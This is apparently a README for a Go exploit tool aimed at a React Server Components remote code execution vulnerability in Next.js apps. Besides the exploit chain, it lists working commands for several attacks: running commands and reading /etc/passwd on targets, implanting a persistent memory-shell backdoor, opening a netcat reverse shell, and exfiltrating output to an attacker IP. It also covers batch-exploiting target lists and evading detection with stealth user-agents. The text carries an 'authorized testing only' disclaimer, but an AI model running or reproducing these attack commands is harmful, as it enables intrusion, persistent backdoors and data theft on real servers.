
CVE-2025-55182 React Server Components RCE - Go PoC
⚠️ 승인된 보안 테스트 전용 ⚠️
CVE-2025-55182(CVE-2025-66478이라고도 함)는 React Server Components(Flight 프로토콜)의 심각한 원격 코드 실행 취약점입니다. 이 도구는 보안 연구 및 승인된 침투 테스트를 위한 PoC의 Go 구현체입니다.
영향을 받는 버전:
이 익스플로잇은 Flight 프로토콜 역직렬화의 프로토타입 오염을 활용합니다:
$@ 역직렬화를 사용하여 Chunk 참조를 얻습니다Chunk.prototype.then을 루트 객체의 then 속성으로 배치합니다RESOLVED_MODEL로 설정하여 제어된 가짜 chunk로 initializeModelChunk을 호출합니다response._formData.get을 호출하는 Blob 역직렬화를 트리거합니다response._formData.get을 Function 생성자로 설정합니다/exec?cmd=에 지속적인 백도어GitHub Releases에서 플랫폼에 맞는 최신 릴리스를 다운로드하세요.
사용 가능한 바이너리:
# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Build for current platform
go build -o cve-2025-55182 .
# Or build for all platforms
chmod +x build.sh
./build.sh
./build.sh 실행 후, 바이너리는 지원되는 모든 플랫폼에 대해 build/ 디렉토리에서 사용할 수 있습니다.
# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check
# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check
# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell
# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell
# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Batch check from file
./cve-2025-55182 --urls targets.txt --check
# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Start listener on attacker machine first:
nc -lvnp 4444
# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Start listener: nc -lvnp 4444
socks5://user:pass@ip:port - SOCKS5 with authentication
socks5://ip:port - SOCKS5 without authentication
socks5h://ip:port - SOCKS5 with remote DNS resolution
socks4://ip:port - SOCKS4 proxy
socks4a://ip:port - SOCKS4a proxy
http://user:pass@ip:port - HTTP proxy with authentication
http://ip:port - HTTP proxy without authentication
https://ip:port - HTTPS proxy
| Mode | Description |
|---|---|
browser | 실제 브라우저 요청 모방 (Chrome, Firefox, Safari, Edge) - 기본값 |
crawler | 검색 엔진 크롤러 모방 (Googlebot, Bingbot, Baiduspider 등) |
security | 보안 스캐너 User-Agent 사용 (Nessus, Nuclei) |
메모리 셸 기능은 다음을 수행하는 지속적인 백도어를 주입합니다:
cmd 쿼리 매개변수 허용# After injection:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
.
├── main.go # CLI entry point
├── pkg/
│ ├── colors/
│ │ └── colors.go # Terminal colors with --nocolor support
│ ├── exploit/
│ │ └── exploit.go # Core exploit logic, memory shell, version detection
│ ├── proxy/
│ │ └── proxy.go # SOCKS4/5, HTTP proxy support
│ ├── scanner/
│ │ └── scanner.go # Batch scanning with JSON output
│ └── stealth/
│ └── stealth.go # User-Agent randomization
├── build.sh # Cross-platform build script
├── go.mod # Go module file
├── go.sum # Go dependencies
└── README.md # This file
build.sh 스크립트는 30개 이상의 플랫폼용으로 빌드합니다:
chmod +x build.sh
./build.sh
--json 플래그를 사용하면 결과가 JSONL 형식으로 저장됩니다(줄당 하나의 JSON):
{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
전체 보고서(_report.json)에는 다음이 포함됩니다:
{
"scan_time": "2025-12-06T12:00:00Z",
"total_urls": 100,
"vulnerable_count": 5,
"safe_count": 90,
"timeout_count": 5,
"results": [...]
}
이 도구는 다음에서 Next.js 버전을 감지할 수 있습니다:
X-Powered-By 헤더__NEXT_DATA__, /_next/ 경로)취약한 버전은 빨간색으로 강조 표시됩니다.
⚠️ 중요 법적 고지 ⚠️
이 도구는 교육 목적 및 승인된 보안 테스트 전용으로만 제공됩니다.
다음과 같은 목적으로 이 도구를 사용하는 것은 엄격히 금지됩니다:
컴퓨터 시스템에 대한 무단 액세스는 세계 대부분의 관할권에서 형사 범죄이며, 여기에는 다음이 포함되나 이에 국한되지 않습니다:
이 소프트웨어는 명시적이든 묵시적이든 어떠한 종류의 보증 없이 "있는 그대로" 제공됩니다. 저자 및 저작권 보유자는 이 소프트웨어 사용으로 인해 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다.
이 도구를 다운로드, 설치 또는 사용함으로써 다음 사항을 인정합니다:
이 약관에 동의하지 않으면 이 도구를 사용하지 마십시오.
Vladislav Tislenko aka keklick1337
날짜: 2025-12-05
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.
책임 있게 사용하세요. 합법적으로 행동하세요. 🔐
| Option | Description |
|---|
-u, --url | 대상 URL (예: http://localhost:3000) |
-f, --file | 대상 URL 목록이 포함된 파일 (줄당 하나) |
--urls | -f/--file의 별칭 |
-o, --output | 취약한 대상에 대한 출력 파일 |
--json | 결과를 JSON 형식으로 출력 |
-c, --command | 실행할 명령 (출력 포함) |
--check | 취약점 확인 |
--version-check | Next.js 버전 감지 |
--proxy | 프록시 URL (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | 사용자 지정 헤더 (여러 번 사용 가능) |
-k, --insecure | SSL/TLS 인증서 검증 건너뛰기 |
--stealth | 스텔스 모드: browser, crawler, security (기본값: browser) |
--delay | 요청 간 지연 시간 (예: 2s, 500ms) |
--variants | 철저한 확인을 위해 여러 페이로드 변형 사용 |
--memshell | 메모리 셸 주입 (지속적 백도어) |
--test-shell | 메모리 셸 활성 여부 테스트 |
--shell-exec | 메모리 셸을 통한 명령 실행 |
--revshell IP PORT | 리버스 셸 설정 |
--exfil CMD IP PORT | 명령 실행 및 출력 POST 전송 |
-t, --timeout | 요청 제한 시간(초) (기본값: 15) |
--threads | 동시 스레드 수 (기본값: 10) |
--workers | --threads의 별칭 |
--nocolor | 색상 출력 비활성화 (Windows/파이프용) |
-h, --help | 도움말 메시지 표시 |
-v, --version | 버전 표시 |